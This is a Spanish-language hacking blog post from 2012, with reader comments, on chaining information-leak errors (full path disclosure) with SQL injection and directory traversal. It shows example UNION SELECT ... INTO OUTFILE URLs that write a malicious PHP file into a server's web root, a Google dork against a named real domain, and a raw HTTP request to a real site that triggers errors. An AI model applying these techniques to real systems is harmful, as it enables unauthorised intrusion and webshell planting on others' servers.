Explotando Bugs en conjunto [Errores Informativos]

Tecleado por Maztor On 14:16
Iniciando esta pequeña entrada, disculpen mi tiempo de inactividad; les voy a explicar por que se hacen tan necesarios e importantes los errores informativos, dependiendo del tipo de escenario.



De mi parte soy de los que les gusta la auditoria manual; y siempre busco enfocarme en identificar de critico-a-leve, con eso quiero decir que me gusta primero localizar las fallas mas graves del sistema y luego ir plasmando las leves... si, es algo ironico y muy estupido (NO USO UN ESTANDAR DE ANALISIS) pero como siempre digo.. lo improvisado es aun mas interesante y por el momento solo juego a crear mi estandar aleatorio; Cabe decir que no tengo quien me diga lo que tengo o no que hacer? (JEFE)   ;)

Bueno al realizar un reporte rapido (FLASH) de las fallas criticas, nos damos cuenta que a veces es muy necesario el trabajo en equipo, aunque la falla sea tan grave y de acceso brusco, puede apoyarse de un pilar para ser explotada. Con trabajo en equipo no me refiero a buscar a un bro que nos ayude... me refiero a usar varias fallas en conjunto para que una se apoye de la otra.

En que tecnicas o vulnerabilidades usamos fallas en conjunto?

En infinidad de escenarios, todo depende del tipo de acceso que se le quiera dar a la maquina, sin embargo; yo me enfocare en las mas usadas para que sea mejor interpretado el paper.


Upload Mysql

Esta tecnica se basa  en un comando de MYSQL el cual se apoya del permiso FILE asignado en los diversos usuarios [root] para que puedan ejecutar los comandos [Into outfile/*/ Load_file()], los cuales se ejecutaran por consultas arbirtrarias con la muy conocidad vuln [SQLI].


-----------------------------------------------------------------------------------------------------------------------------------




Para llevar a cabo el anterior metodo, es necesario el apoyo de informacion adicional, aqui es donde se afirma lo escrito anteriormente, en el cual necesitaremos el trabajo en conjuunto de fallas, que ayudaran a que se logre su objetivo final.

La informacion adicional necesaria para realizar el metodo de upload mysql  es la ruta raiz o DocumentRoot, que es la ruta desde la cual se es montado toda la estructura del sitio web segun la configuracion de su ADMIN. Esta es necesaria para poder subir archivos y dejarlos ejecutando en el servidor para el beneficio que requiera.

Ejemplo:

http://servidor/path1/archivo.php?sqli=-241 union all select 1,2,3,4,[CODEASUBIR],6,7,8,9 into outfile
"/home/usuario/web1/htdocs/path1/archivomalicioso.php"
 Resultado:

http://servidor/path1/archivomalicioso.php

 Si no sabemos esa ruta, no podriamos subir un archivo debido a que no estamos definiendo en donde sera su destino.


-------------------------------------------------------------------------------------

Directory Transversal

Esta vulnerabilidad se basa principalmente en obtencion archivos mediante rutas, aunque se puede explotar a ciegas jugando un poco al "reverse" [../../../] de directorios, pero si esta vulnerabilidad la apoyamos con un "error informativo" que nos de la Full Path Disclosure?... Seria mucho mas facil, incluso seria un poco mas peligroso y explicito, ya que podria navegar de raiz a rama [Metaforicamente]

Los errores que nos pueden ayudar son del tipo:



Pero la pregunta de todos seria... como logro saber la ruta completa?

Dependiendo del escenario armaremos el rompecabezas. Muchas veces al encontrar SQLI, el error impreso o generado tiende a ser un "Error informativo"; Ya que nos muestra FPD (Full path disclosure) entre otros datos que nos podrian servir para mas adelante.


Sin embargo no siemrpe es asi y hay es donde nos toca apoyarnos de otras fallas para lograr realizar el objetivo.


Este tipo de errores informativos los podemos localizar mediante google o algun crawler de preferencia, listando los archivos PHP del servidor indexados y ver sus errores.


Usando Dork basica:


site:sitio.com ext:php


Ejemplo:
  site:mensajito.tigo.com.co ext:php



Listo ya obtuvimos la path: /var/www/html/includes/common.inc.php
La explotacion seria masomenos asi:

Ejemplo:

http://servidor/path1/archivo.php?sqli=-241 union all select 1,2,3,4,[CODEASUBIR],6,7,8,9 into outfile
"/var/www/html/includes/archivomalicioso.php"
 Resultado:

http://servidor/includes/archivomalicioso.php

NOTA:  Tiende a ser necesario el Encode Base_64

Podemos enfrentarnos a un servidor mas seguro por lo tanto no indexa archivos php vuln y nos tocaria generarlos por nuestra propia cuenta.

La habitual forma para generar un full path disclosure seria jugar con las variables.
Tenemos un archivo que descarga los pdfs de la web mediante la variable ruta, la cual asigna donde se encuentran los PDF

Ejemplo:
www.sitio.com/descarga.php?ruta=/pdf/1.pdf

Rotundamente se descargara el pdf de forma bonita y sin ningun problema...Pero que pasa si ponemos una ruta invalida?

Ejemplo:
www.sitio.com/documentos/descarga.php?ruta=31337
www.sitio.com/documentos/descarga.php?ruta= 
www.sitio.com/documentos/descarga.php?ruta[]=

Resultado:

Warning: fopen(31337) [function.fopen]: failed to open stream: No such file or directory in /var/www/html/documentos/descarga.php on line 9

NOTA:  En ciertos casos no se generan errores con caracteres o rutas invalidas, por eso hay que probar sin poner nada: www.sitio.com/documentos/descarga.php?ruta=

Magicamento obtenemos ese lindo error el cual nos ayuda a proceder en la ayuda de otras vulnerabilidades.


Bueno, tambien podemos obtener y generar errores por cabeceras, de las cuales podemos usar un BLANK o carcater en parametros para ver como responde este.

En este caso utilizaré la muy conocida web del troyano poison-ivy la cual tiene un error al dejar en blank el parametro PHPSESSID= de Cookie.

GET http://www.poisonivy-rat.com/index.php?link=download HTTP/1.1
Host: www.poisonivy-rat.com
User-Agent: 
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: PHPSESSID= 

Respuesta
HTTP/1.1 200 OK
Date: Sat, 30 Jun 2012 09:15:35 GMT
Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch7 mod_ssl/2.2.3 OpenSSL/0.9.8c
X-Powered-By: PHP/5.2.0-8+etch7
Content-Length: 7502
Keep-Alive: timeout=15, max=79
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

     


Aqui utilizaré el live HTTP headers (Disculpenme usar WindSucks [Mi PC esta Dañada])





 Si enviamos el BLANK obtendremos el siguiente error


Para la visualizacion quitamos las imagenes y bingo!


Nuestro Resultado seria:



Warning: session_start() [function.session-start]: The session id contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in /var/www/index.php on line 2

Warning: session_start() [function.session-start]: Cannot send session cookie - headers already sent by (output started at /var/www/index.php:2) in /var/www/index.php on line 2

Warning: session_start() [function.session-start]: Cannot send session cache limiter - headers already sent (output started at /var/www/index.php:2) in /var/www/index.php on line 2
Quien dijo que era un simple error??? El Limite lo impones tu :)

5 Responses to 'Explotando Bugs en conjunto [Errores Informativos]'

  1. Anónimo said...
    http://www.maztor.com/2012/06/explotando-bugs-en-conjunto-errores.html?showComment=1341847235272#c2157817674869722938'> 9 de julio de 2012, 8:20

    que buena info bro, seria excelente poderlo simular, gracias por compartirlo

     

  2. Maztor said...
    http://www.maztor.com/2012/06/explotando-bugs-en-conjunto-errores.html?showComment=1341865042707#c1328980452962033781'> 9 de julio de 2012, 13:17

    Puedes realizar tu practica con: http://www.poisonivy-rat.com/

     

  3. wirelesswifi said...
    http://www.maztor.com/2012/06/explotando-bugs-en-conjunto-errores.html?showComment=1344136719818#c7724225242828949583'> 4 de agosto de 2012, 20:18

    Puedes personalizar tu blog etc.

    Saludos!

     

  4. andres macias said...
    http://www.maztor.com/2012/06/explotando-bugs-en-conjunto-errores.html?showComment=1358127420291#c3649238155727125553'> 13 de enero de 2013, 17:37

    Aun tiene la falla la pagina o ya la repararon ?
    O soy muy noob xD por que intento y en la parte de Live HTTP Replay borro la cookie queda asi "Cookie: PHPSESSID=" y le doy replay y no pasa nada con la pagina y la actualizo y tampoco :S
    Tu blog es genial (Y)

     

  5. Maztor said...
    http://www.maztor.com/2012/06/explotando-bugs-en-conjunto-errores.html?showComment=1358379602252#c4465682838802868190'> 16 de enero de 2013, 15:40

    Ya esta arreglado el Bug, Gracias por el cumplido! (y) Saludos!

     

Publicar un comentario en la entrada

Related Posts Plugin for WordPress, Blogger...
Sigueme en Twitter

Qr-c0de Url Blog

Suscribirse al blog

Ingresar Email

¡Recomendar! y RSS